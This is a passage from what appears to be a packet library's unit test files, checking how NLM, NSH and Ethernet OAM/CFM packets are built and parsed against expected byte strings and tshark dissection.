b'\\x00\\x00\\x00\\x06COOKIE\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x06CALLER\\x00\\x00\\x00\\x00\\x00\\x04file\\x00\\x00\\x00\\x05OWNER\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03'\n\npkt = TEST_Call(\n    cookie=NLM4_Cookie(\n        length=6,\n        contents='COOKIE',\n        fill='\\x00\\x00'\n    ),\n    exclusive='YES',\n    caller=Object_Name(\n        length=6,\n        _name='CALLER',\n        fill='\\x00\\x00'\n    ),\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    owner=Object_Name(\n        length=5,\n        _name='OWNER',\n        fill='\\x00'\n    ),\n    svid=1,\n    l_offset=2,\n    l_len=3\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x06COOKIE\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x06CALLER\\x00\\x00\\x00\\x00\\x00\\x04file\\x00\\x00\\x00\\x05OWNER\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03'\n\n\n= NLM Replies vs Raw Strings\npkt = SHARE_Reply(\n    cookie=NLM4_Cookie(\n        length=6,\n        contents='COOKIE',\n        fill='\\x00\\x00'\n    ),\n    status='NLM4_DENIED',\n    sequence=1\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x06COOKIE\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01'\n\npkt = UNSHARE_Reply(\n    cookie=NLM4_Cookie(\n        length=6,\n        contents='COOKIE',\n        fill='\\x00\\x00'\n    ),\n    status='NLM4_DENIED',\n    sequence=1\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x06COOKIE\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01'\n\npkt = LOCK_Reply(\n    cookie=NLM4_Cookie(\n        length=6,\n        contents='COOKIE',\n        fill='\\x00\\x00'\n    ),\n    status='NLM4_DENIED'\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x06COOKIE\\x00\\x00\\x00\\x00\\x00\\x01'\n\npkt = UNLOCK_Reply(\n    cookie=NLM4_Cookie(\n        length=6,\n        contents='COOKIE',\n        fill='\\x00\\x00'\n    ),\n    status='NLM4_DENIED'\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x06COOKIE\\x00\\x00\\x00\\x00\\x00\\x01'\n\npkt = CANCEL_Reply(\n    cookie=NLM4_Cookie(\n        length=6,\n        contents='COOKIE',\n        fill='\\x00\\x00'\n    ),\n    status='NLM4_DENIED'\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x06COOKIE\\x00\\x00\\x00\\x00\\x00\\x01'\n\npkt = TEST_Reply(\n    cookie=NLM4_Cookie(\n        length=6,\n        contents='COOKIE',\n        fill='\\x00\\x00'\n    ),\n    status='NLM4_DENIED'\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x06COOKIE\\x00\\x00\\x00\\x00\\x00\\x01'\n"
  },
  {
    "path": "test/contrib/nsh.uts",
    "content": "+ Basic Layer Tests\n\n= Build a NSH over NSH packet with SPI=42, and SI=1\nraw(NSH(spi=42, si=1)/NSH()) == b'\\x0f\\xc6\\x01\\x04\\x00\\x00*\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f\\xc6\\x01\\x03\\x00\\x00\\x00\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= Build a NSH with Fixed context headers\nraw(NSH(ttl=25, spi=55, si=34, context_header=b\"\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff\")) == b'\\x06F\\x01\\x03\\x00\\x007\"\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\xff\\xff\\xff\\xff'\n\n= Build a Ethernet over NSH over Ethernet packet (NSH over Ethernet encapsulating the original packet) and verify Ethernet Bindings\nraw(Ether(src=\"00:00:00:00:00:01\", dst=\"00:00:00:00:00:02\")/NSH()/Ether(src=\"00:00:00:00:00:03\", dst=\"00:00:00:00:00:04\")/ARP(psrc=\"10.0.0.1\", hwsrc=\"00:00:00:00:00:01\")) == b'\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x01\\x89O\\x0f\\xc6\\x01\\x03\\x00\\x00\\x00\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x03\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\n\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= Build a NSH over GRE packet, and verify GRE Bindings\nraw(Ether(src=\"00:00:00:00:00:01\", dst=\"00:00:00:00:00:02\")/IP(src=\"1.1.1.1\", dst=\"2.2.2.2\")/GRE()/NSH()/Ether(src=\"00:00:00:00:00:03\", dst=\"00:00:00:00:00:04\")/ARP(psrc=\"10.0.0.1\", hwsrc=\"00:00:00:00:00:01\")) == b'\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x01\\x08\\x00E\\x00\\x00Z\\x00\\x01\\x00\\x00@/to\\x01\\x01\\x01\\x01\\x02\\x02\\x02\\x02\\x00\\x00\\x89O\\x0f\\xc6\\x01\\x03\\x00\\x00\\x00\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x03\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\n\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= 0 length variable length context header NSH\nraw(NSH(mdtype=2, spi=0xF0F0F0, si=0xFF))  == b'\\x0f\\xc2\\x02\\x03\\xf0\\xf0\\xf0\\xff'\n\n= Build a NSH over VXLAN packet and verify bindings\nraw(Ether(dst='0c:42:a1:5f:fb:e0', src='b8:59:9f:cd:de:3e')/IPv6(src='::1', dst='::2')/UDP(sport=10, dport=8472)/VXLAN(NextProtocol=4, vni=4660)/NSH()/NSH()/Ether(dst='0c:42:a1:5f:fb:e4', src='b8:59:9f:cd:de:33')/IP(src='10.200.100.10', dst='2.2.2.3')/TCP(sport=123, dport=333)) == b'\\x0cB\\xa1_\\xfb\\xe0\\xb8Y\\x9f\\xcd\\xde>\\x86\\xdd`\\x00\\x00\\x00\\x00v\\x11@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\n!\\x18\\x00v\\x05F\\x0c\\x00\\x00\\x04\\x00\\x124\\x00\\x0f\\xc6\\x01\\x04\\x00\\x00\\x00\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f\\xc6\\x01\\x03\\x00\\x00\\x00\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0cB\\xa1_\\xfb\\xe4\\xb8Y\\x9f\\xcd\\xde3\\x08\\x00E\\x00\\x00(\\x00\\x01\\x00\\x00@\\x06\\x07\\xf9\\n\\xc8d\\n\\x02\\x02\\x02\\x03\\x00{\\x01M\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x1bD\\x00\\x00'\n\n"
  },
  {
    "path": "test/contrib/oam.uts",
    "content": "# OAM unit tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('oam')\" -t test/contrib/oam.uts\n\n+ TLV\n\n= Generic TLV\n\npkt = OAM_TLV(raw(OAM_TLV()/Raw(b'123')))\nassert pkt.type == 1\nassert pkt.length == 3\n\n= Data TLV\n\npkt = OAM_DATA_TLV(raw(OAM_DATA_TLV()/Raw(b'123')))\nassert pkt.type == 3\nassert pkt.length == 3\n\n= Test TLV\n\nfrom binascii import crc32\n\npkt = OAM_TEST_TLV(raw(OAM_TEST_TLV(pat_type=\"Null signal without CRC-32\")/Raw(b'123')))\nassert pkt.type == 32\nassert pkt.length == 4\nassert raw(pkt.payload) == b'123'\npkt = OAM_TEST_TLV(raw(OAM_TEST_TLV(pat_type=\"Null signal with CRC-32\")/Raw(b'123')))\nassert pkt.type == 32\nassert pkt.length == 8\nassert pkt.crc == crc32(raw(pkt)[:-4]) % (1 << 32)\nassert pkt.crc == 0xad147086\nassert raw(pkt.payload) == b'123'\npkt = OAM_TEST_TLV(raw(OAM_TEST_TLV(pat_type=\"PRBS 2^-31 - 1 without CRC-32\")/Raw(b'123')))\nassert pkt.type == 32\nassert pkt.length == 4\nassert raw(pkt.payload) == b'123'\npkt = OAM_TEST_TLV(raw(OAM_TEST_TLV(pat_type=\"PRBS 2^-31 - 1 with CRC-32\")/Raw(b'123')))\nassert pkt.type == 32\nassert pkt.length == 8\nassert pkt.crc == crc32(raw(pkt)[:-4]) % (1 << 32)\nassert pkt.crc == 0x71db80d\nassert raw(pkt.payload) == b'123'\n\n= LTM TLV\n\npkt = OAM_LTM_TLV(raw(OAM_LTM_TLV(egress_id=3)/Raw(b'123')))\nassert pkt.type == 7\nassert pkt.length == 8\nassert pkt.egress_id == 3\n\n= LTR TLV\n\npkt = OAM_LTR_TLV(raw(OAM_LTR_TLV(last_egress_id=2, next_egress_id=4)/Raw(b'123')))\nassert pkt.type == 8\nassert pkt.length == 16\nassert pkt.last_egress_id == 2\nassert pkt.next_egress_id == 4\n\n= LTR IG TLV\n\npkt = OAM_LTR_IG_TLV(raw(OAM_LTR_IG_TLV(ingress_act=2, ingress_mac=\"00:11:22:33:44:55\")/Raw(b'123')))\nassert pkt.type == 5\nassert pkt.length == 7\nassert pkt.ingress_act == 2\nassert pkt.ingress_mac == \"00:11:22:33:44:55\"\n\n= LTR EG TLV\n\npkt = OAM_LTR_EG_TLV(raw(OAM_LTR_EG_TLV(egress_act=2, egress_mac=\"00:11:22:33:44:55\")/Raw(b'123')))\nassert pkt.type == 6\nassert pkt.length == 7\nassert pkt.egress_act == 2\nassert pkt.egress_mac == \"00:11:22:33:44:55\"\n\n= TEST ID TLV\n\npkt = OAM_TEST_ID_TLV(raw(OAM_TEST_ID_TLV(test_id=1)/Raw(b'123')))\nassert pkt.type == 36\nassert pkt.length == 32\nassert pkt.test_id == 1\n\n= PTP TIMESTAMP\n\npkt = PTP_TIMESTAMP(raw(PTP_TIMESTAMP(seconds=5, nanoseconds=10)/Raw(b'123')))\nassert pkt.seconds == 5\nassert pkt.nanoseconds == 10\n\n= APS\n\npkt = APS(raw(APS(req_st=\"Wait-to-restore (WTR)\",\n                  prot_type=\"D+A\",\n                  req_sig=\"Normal traffic\",\n                  br_sig=\"Normal traffic\",\n                  br_type=\"T\")/Raw(b'123')))\nassert pkt.req_st == 0b0101\nassert pkt.prot_type == 0b1010\nassert pkt.req_sig == 1\nassert pkt.br_sig == 1\nassert pkt.br_type == 0b10000000\n\n= RAPS\n\npkt = RAPS(raw(RAPS(req_st=\"Signal fail(SF)\",\n                    status=\"RB+BPR\",\n                    node_id=\"00:11:22:33:44:55\")/Raw(b'123')))\nassert pkt.req_st == 0b1011\nassert pkt.sub_code == 0b0000\nassert pkt.status == 0b10100000\nassert pkt.node_id == \"00:11:22:33:44:55\"\n\n+ MEG ID\n\n= MEG ID\n\npkt = MegId(raw(MegId(format=1,\n                      values=int(0xdeadbeef))))\nassert pkt.format == 1\n# FIXME: make compatible with python2\n# assert pkt.values.to_bytes(45, \"little\")[-4:] == b\"\\xde\\xad\\xbe\\xef\"\nassert pkt.length == 45\nassert len(raw(pkt)) == 48\n\n= MEG ICC ID\n\npkt = MegId(raw(MegId(format=32,\n                      values=list(range(13)))))\n\nassert pkt.format == 32\nassert pkt.values == list(range(13))\nassert pkt.length == 13\nassert len(raw(pkt)) == 48\n\n= MEG ICC and CC ID\n\npkt = MegId(raw(MegId(format=33,\n                      values=list(range(15)))))\n\nassert pkt.format == 33\nassert pkt.values == list(range(15))\nassert pkt.length == 15\nassert len(raw(pkt)) == 48\n\n+ OAM\n~ tshark\n\n= Define check_tshark function\n\ndef check_tshark(pkt, string):\n    import tempfile, os\n    fd, pcapfilename = tempfile.mkstemp()\n    wrpcap(pcapfilename, pkt)\n    rv = tcpdump(pcapfilename, prog=conf.prog.tshark, getfd=True, args=['-Y', 'cfm'], dump=True, wait=True)\n    assert string in rv.decode(\"utf8\")\n    os.close(fd)\n    os.unlink(pcapfilename)\n\n= CCM\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Continuity Check Message (CCM)\",\n                    flags=\"RDI\",\n                    period=\"Trans Int 10s\",\n                    mep_id=0xffff,\n                    meg_id=MegId(format=32,\n                                 values=list(range(13))),\n                    txfcf=1,\n                    rxfcb=2,\n                    txfcb=3)))\n\nassert pkt[OAM].opcode == 1\nassert pkt[OAM].period == 5\nassert pkt[OAM].tlv_offset == 70\nassert pkt[OAM].flags.RDI == True\nassert pkt[OAM].flags == 1<<4\nassert pkt[OAM].mep_id == 0xffff\nassert pkt[OAM].meg_id.format == 32\nassert pkt[OAM].meg_id.length == 13\nassert pkt[OAM].meg_id.values == list(range(13))\nassert pkt[OAM].txfcf == 1\nassert pkt[OAM].rxfcb == 2\nassert pkt[OAM].txfcb == 3\n\ncheck_tshark(pkt, \"(CCM)\")\n\n= LBM\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Loopback Message (LBM)\",\n                    seq_num=33,\n                    tlvs=[OAM_DATA_TLV()/Raw(b'123'),\n                          OAM_DATA_TLV()/Raw(b'456'),\n                          OAM_DATA_TLV()/Raw(b'789')])))\n\nassert pkt[OAM].opcode == 3\nassert pkt[OAM].tlv_offset == 4\nassert pkt[OAM].seq_num == 33\nfor i in range(3):\n    assert pkt[OAM].tlvs[i].type == 3\n    assert pkt[OAM].tlvs[i].length == 3\n\nassert raw(pkt[OAM].tlvs[0].payload) == b'123'\nassert raw(pkt[OAM].tlvs[1].payload) == b'456'\nassert raw(pkt[OAM].tlvs[2].payload) == b'789'\n\ncheck_tshark(pkt, \"(LBM)\")\n\n= LTM\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Linktrace Message (LTM)\",\n                    trans_id=12,\n\t\t    ttl=21,\n                    flags=\"HWonly\",\n\t\t    orig_mac=\"12:34:56:78:90:11\",\n\t\t    targ_mac=\"12:34:56:78:90:22\",\n                    tlvs=[OAM_LTM_TLV(egress_id=12)])))\n\nassert pkt[OAM].opcode == 5\nassert pkt[OAM].tlv_offset == 17\nassert pkt[OAM].ttl == 21\nassert pkt[OAM].flags.HWonly == True\nassert pkt[OAM].flags == 1<<7\nassert pkt[OAM].orig_mac == \"12:34:56:78:90:11\"\nassert pkt[OAM].targ_mac == \"12:34:56:78:90:22\"\nassert pkt[OAM].tlvs[0].type == 7\nassert pkt[OAM].tlvs[0].length == 8\nassert pkt[OAM].tlvs[0].egress_id == 12\n\ncheck_tshark(pkt, \"(LTM)\")\n\n= LTR\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Linktrace Reply (LTR)\",\n                    trans_id=21,\n\t\t    ttl=12,\n                    flags=\"HWonly+TerminalMEP\",\n\t\t    relay_act=8,\n                    tlvs=[OAM_LTR_TLV(last_egress_id=1, next_egress_id=2),\n                          OAM_LTR_TLV(last_egress_id=3, next_egress_id=4),\n                          OAM_LTR_IG_TLV(ingress_act=1, ingress_mac=\"12:34:56:78:90:11\"),\n                          OAM_LTR_IG_TLV(ingress_act=6, ingress_mac=\"12:34:56:78:90:22\"),\n                          OAM_LTR_EG_TLV(egress_act=2, egress_mac=\"12:34:56:78:90:33\"),\n                          OAM_LTR_EG_TLV(egress_act=3, egress_mac=\"12:34:56:78:90:44\")])))\n\nassert pkt[OAM].opcode == 4\nassert pkt[OAM].tlv_offset == 6\nassert pkt[OAM].ttl == 12\nassert pkt[OAM].flags.HWonly == True\nassert pkt[OAM].flags.FwdYes == False\nassert pkt[OAM].flags.TerminalMEP == True\nassert pkt[OAM].flags == (1<<7) | (1<<5)\nassert pkt[OAM].relay_act == 8\nassert pkt[OAM].tlvs[0].type == 8\nassert pkt[OAM].tlvs[0].length == 16\nassert pkt[OAM].tlvs[0].last_egress_id == 1\nassert pkt[OAM].tlvs[0].next_egress_id == 2\nassert pkt[OAM].tlvs[1].type == 8\nassert pkt[OAM].tlvs[1].length == 16\nassert pkt[OAM].tlvs[1].last_egress_id == 3\nassert pkt[OAM].tlvs[1].next_egress_id == 4\nassert pkt[OAM].tlvs[2].type == 5\nassert pkt[OAM].tlvs[2].length == 7\nassert pkt[OAM].tlvs[2].ingress_act == 1\nassert pkt[OAM].tlvs[2].ingress_mac == \"12:34:56:78:90:11\"\nassert pkt[OAM].tlvs[3].type == 5\nassert pkt[OAM].tlvs[3].length == 7\nassert pkt[OAM].tlvs[3].ingress_act == 6\nassert pkt[OAM].tlvs[3].ingress_mac == \"12:34:56:78:90:22\"\nassert pkt[OAM].tlvs[4].type == 6\nassert pkt[OAM].tlvs[4].length == 7\nassert pkt[OAM].tlvs[4].egress_act == 2\nassert pkt[OAM].tlvs[4].egress_mac == \"12:34:56:78:90:33\"\nassert pkt[OAM].tlvs[5].type == 6\nassert pkt[OAM].tlvs[5].length == 7\nassert pkt[OAM].tlvs[5].egress_act == 3\nassert pkt[OAM].tlvs[5].egress_mac == \"12:34:56:78:90:44\"\n\ncheck_tshark(pkt, \"(LTR)\")\n\n= AIS\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Alarm Indication Signal (AIS)\",\n                    period=\"1 frame per second\")))\n\nassert pkt[OAM].opcode == 33\nassert pkt[OAM].tlv_offset == 0\nassert pkt[OAM].period == 0b100\n\ncheck_tshark(pkt, \"(AIS)\")\n\n= LCK\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Lock Signal (LCK)\",\n                    period=\"1 frame per second\")))\n\nassert pkt[OAM].opcode == 35\nassert pkt[OAM].tlv_offset == 0\nassert pkt[OAM].period == 0b100\n\ncheck_tshark(pkt, \"(LCK)\")\n\n= TST\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Test Signal (TST)\",\n                    seq_num=15,\n                    tlvs=[OAM_TEST_TLV(pat_type=\"Null signal without CRC-32\")/Raw(b'123'),\n                          OAM_TEST_TLV(pat_type=\"Null signal without CRC-32\")/Raw(b'23456'),\n                          OAM_TEST_TLV(pat_type=\"Null signal with CRC-32\")/Raw(b'123'),\n                          OAM_TEST_TLV(pat_type=\"Null signal with CRC-32\")/Raw(b'23456'),\n                          OAM_TEST_TLV(pat_type=\"PRBS 2^-31 - 1 without CRC-32\")/Raw(b'123'),\n                          OAM_TEST_TLV(pat_type=\"PRBS 2^-31 - 1 without CRC-32\")/Raw(b'23456'),\n                          OAM_TEST_TLV(pat_type=\"PRBS 2^-31 - 1 with CRC-32\")/Raw(b'123'),\n                          OAM_TEST_TLV(pat_type=\"PRBS 2^-31 - 1 with CRC-32\")/Raw(b'23456')])))\n\nassert pkt[OAM].opcode == 37\nassert pkt[OAM].tlv_offset == 4\nassert pkt[OAM].seq_num == 15\n\nassert pkt[OAM].tlvs[0].type == 32\nassert pkt[OAM].tlvs[0].length == 4\nassert pkt[OAM].tlvs[0].pat_type == 0\nassert raw(pkt[OAM].tlvs[0].payload) == b'123'\nassert pkt[OAM].tlvs[1].type == 32\nassert pkt[OAM].tlvs[1].length == 6\nassert pkt[OAM].tlvs[1].pat_type == 0\nassert raw(pkt[OAM].tlvs[1].payload) == b'23456'\nassert pkt[OAM].tlvs[2].type == 32\nassert pkt[OAM].tlvs[2].length == 8\nassert pkt[OAM].tlvs[2].pat_type == 1\nassert raw(pkt[OAM].tlvs[2].payload) == b'123'\nassert pkt[OAM].tlvs[2].crc == crc32(raw(pkt[OAM].tlvs[2])[:-4]) % (1 << 32)\nassert pkt[OAM].tlvs[3].type == 32\nassert pkt[OAM].tlvs[3].length == 10\nassert pkt[OAM].tlvs[3].pat_type == 1\nassert raw(pkt[OAM].tlvs[3].payload) == b'23456'\nassert pkt[OAM].tlvs[3].crc == crc32(raw(pkt[OAM].tlvs[3])[:-4]) % (1 << 32)\nassert pkt[OAM].tlvs[4].type == 32\nassert pkt[OAM].tlvs[4].length == 4\nassert pkt[OAM].tlvs[4].pat_type == 2\nassert raw(pkt[OAM].tlvs[4].payload) == b'123'\nassert pkt[OAM].tlvs[5].type == 32\nassert pkt[OAM].tlvs[5].length == 6\nassert pkt[OAM].tlvs[5].pat_type == 2\nassert raw(pkt[OAM].tlvs[5].payload) == b'23456'\nassert pkt[OAM].tlvs[6].type == 32\nassert pkt[OAM].tlvs[6].length == 8\nassert pkt[OAM].tlvs[6].pat_type == 3\nassert raw(pkt[OAM].tlvs[6].payload) == b'123'\nassert pkt[OAM].tlvs[6].crc == crc32(raw(pkt[OAM].tlvs[6])[:-4]) % (1 << 32)\nassert pkt[OAM].tlvs[7].type == 32\nassert pkt[OAM].tlvs[7].length == 10\nassert pkt[OAM].tlvs[7].pat_type == 3\nassert raw(pkt[OAM].tlvs[7].payload) == b'23456'\nassert pkt[OAM].tlvs[7].crc == crc32(raw(pkt[OAM].tlvs[7])[:-4]) % (1 << 32)\n\ncheck_tshark(pkt, \"(TST)\")\n\n= APS\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Automatic Protection Switching (APS)\",\n                    aps=APS(req_st=\"Forced switch (FS)\",\n                            prot_type=\"A+B+R\",\n                            req_sig=\"Normal traffic\",\n                            br_sig=\"Null signal\",\n                            br_type=\"T\"))))\n\nassert pkt[OAM].opcode == 39\nassert pkt[APS].req_st == 0b1101\nassert pkt[APS].prot_type.A == True\nassert pkt[APS].prot_type.B == True\nassert pkt[APS].prot_type.R == True\nassert pkt[APS].prot_type == 0b1101\nassert pkt[APS].req_sig == 1\nassert pkt[APS].br_sig == 0\nassert pkt[APS].br_type.T == True\nassert pkt[APS].br_type == (1 << 7)\n\ncheck_tshark(pkt, \"(APS)\")\n\n= RAPS\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Ring-Automatic Protection Switching (R-APS)\",\n                    raps=RAPS(req_st=\"Event\",\n                              sub_code=\"Flush\",\n                              status=\"RB+BPR\",\n                              node_id=\"12:12:12:23:23:23\"))))\n\nassert pkt[OAM].opcode == 40\nassert pkt[RAPS].req_st == 0b1110\nassert pkt[RAPS].sub_code == 0b0000\nassert pkt[RAPS].status.RB == True\nassert pkt[RAPS].status.DNF == False\nassert pkt[RAPS].status.BPR == True\nassert pkt[RAPS].status == (1 << 7) | (1 << 5)\nassert pkt[RAPS].node_id == \"12:12:12:23:23:23\"\n\ncheck_tshark(pkt, \"(R-APS)\")\n\n= MCC\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Maintenance Communication Channel (MCC)\",\n                    oui=12,\n                    subopcode=2)))\n\nassert pkt[OAM].opcode == 41\nassert pkt[OAM].oui == 12\nassert pkt[OAM].subopcode == 2\n\ncheck_tshark(pkt, \"(MCC)\")\n\n= LMM\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Loss Measurement Message (LMM)\",\n                    flags=\"Proactive\",\n                    txfcf=1,\n                    rxfcf=2,\n                    txfcb=3)))\n\nassert pkt[OAM].opcode == 43\nassert pkt[OAM].version == 1\nassert pkt[OAM].tlv_offset == 12\nassert pkt[OAM].flags == 1\nassert pkt[OAM].flags.Proactive == True\nassert pkt[OAM].txfcf == 1\nassert pkt[OAM].rxfcf == 2\nassert pkt[OAM].txfcb == 3\n\ncheck_tshark(pkt, \"(LMM)\")\n\n= LMR\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Loss Measurement Reply (LMR)\",\n                    txfcf=1,\n                    rxfcf=2,\n                    txfcb=3)))\n\nassert pkt[OAM].opcode == 42\nassert pkt[OAM].txfcf == 1\nassert pkt[OAM].rxfcf == 2\nassert pkt[OAM].txfcb == 3\n\ncheck_tshark(pkt, \"(LMR)\")\n\n= 1DM\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"One Way Delay Measurement (1DM)\",\n                    txtsf=PTP_TIMESTAMP(seconds=1, nanoseconds=2),\n                    rxtsf=PTP_TIMESTAMP(seconds=3, nanoseconds=4),\n                    tlvs=[OAM_DATA_TLV()/Raw(b'123'),\n                          OAM_DATA_TLV()/Raw(b'456789'),\n                          OAM_TEST_ID_TLV(test_id=5)])))\n\nassert pkt[OAM].opcode == 45\nassert pkt[OAM].version == 1\nassert pkt[OAM].tlv_offset == 16\nassert pkt[OAM].txtsf.seconds == 1\nassert pkt[OAM].txtsf.nanoseconds == 2\nassert pkt[OAM].rxtsf.seconds == 3\nassert pkt[OAM].rxtsf.nanoseconds == 4\nassert pkt[OAM].tlvs[0].type == 3\nassert pkt[OAM].tlvs[0].length == 3\nassert raw(pkt[OAM].tlvs[0].payload) == b'123'\nassert pkt[OAM].tlvs[1].type == 3\nassert pkt[OAM].tlvs[1].length == 6\nassert raw(pkt[OAM].tlvs[1].payload) == b'456789'\nassert pkt[OAM].tlvs[2].type == 36\nassert pkt[OAM].tlvs[2].length == 32\nassert pkt[OAM].tlvs[2].test_id == 5\n\n# FIXME: for some reason wireshark does not like OAM_TEST_ID_TLV here\ncheck_tshark(pkt, \"(1DM)\")\n\n= DMM\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Delay Measurement Message (DMM)\",\n                    txtsf=PTP_TIMESTAMP(seconds=1, nanoseconds=2),\n                    txtsb=PTP_TIMESTAMP(seconds=2, nanoseconds=1),\n                    rxtsf=PTP_TIMESTAMP(seconds=3, nanoseconds=4),\n                    rxtsb=PTP_TIMESTAMP(seconds=6, nanoseconds=5),\n                    tlvs=[OAM_DATA_TLV()/Raw(b'123'),\n                          OAM_DATA_TLV()/Raw(b'456789'),\n                          OAM_TEST_ID_TLV(test_id=5)])))\n\nassert pkt[OAM].opcode == 47\nassert pkt[OAM].version == 1\nassert pkt[OAM].tlv_offset == 32\nassert pkt[OAM].txtsf.seconds == 1\nassert pkt[OAM].txtsf.nanoseconds == 2\nassert pkt[OAM].rxtsf.seconds == 3\nassert pkt[OAM].rxtsf.nanoseconds == 4\nassert pkt[OAM].txtsb.seconds == 2\nassert pkt[OAM].txtsb.nanoseconds == 1\nassert pkt[OAM].rxtsb.seconds == 6\nassert pkt[OAM].rxtsb.nanoseconds == 5\nassert pkt[OAM].tlvs[0].type == 3\nassert pkt[OAM].tlvs[0].length == 3\nassert raw(pkt[OAM].tlvs[0].payload) == b'123'\nassert pkt[OAM].tlvs[1].type == 3\nassert pkt[OAM].tlvs[1].length == 6\nassert raw(pkt[OAM].tlvs[1].payload) == b'456789'\nassert pkt[OAM].tlvs[2].type == 36\nassert pkt[OAM].tlvs[2].length == 32\nassert pkt[OAM].tlvs[2].test_id == 5\n\n# FIXME: for some reason wireshark does not like OAM_TEST_ID_TLV here\ncheck_tshark(pkt, \"(DMM)\")\n\n= EXM\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Experimental OAM Message (EXM)\",\n                    oui=123,\n                    subopcode=33)))\n\nassert pkt[OAM].opcode == 49\nassert pkt[OAM].oui == 123\nassert pkt[OAM].subopcode == 33\n\ncheck_tshark(pkt, \"(EXM)\")\n\n= EXR\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Experimental OAM Reply (EXR)\",\n                    oui=123,\n                    subopcode=33)))\n\nassert pkt[OAM].opcode == 48\nassert pkt[OAM].oui == 123\nassert pkt[OAM].subopcode == 33\n\ncheck_tshark(pkt, \"(EXR)\")\n\n= VSM\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Vendor Specific Message (VSM)\",\n                    oui=123,\n                    subopcode=33)))\n\nassert pkt[OAM].opcode == 51\nassert pkt[OAM].oui == 123\nassert pkt[OAM].subopcode == 33\n\ncheck_tshark(pkt, \"(VSM)\")\n\n= CSF\n\npkt = 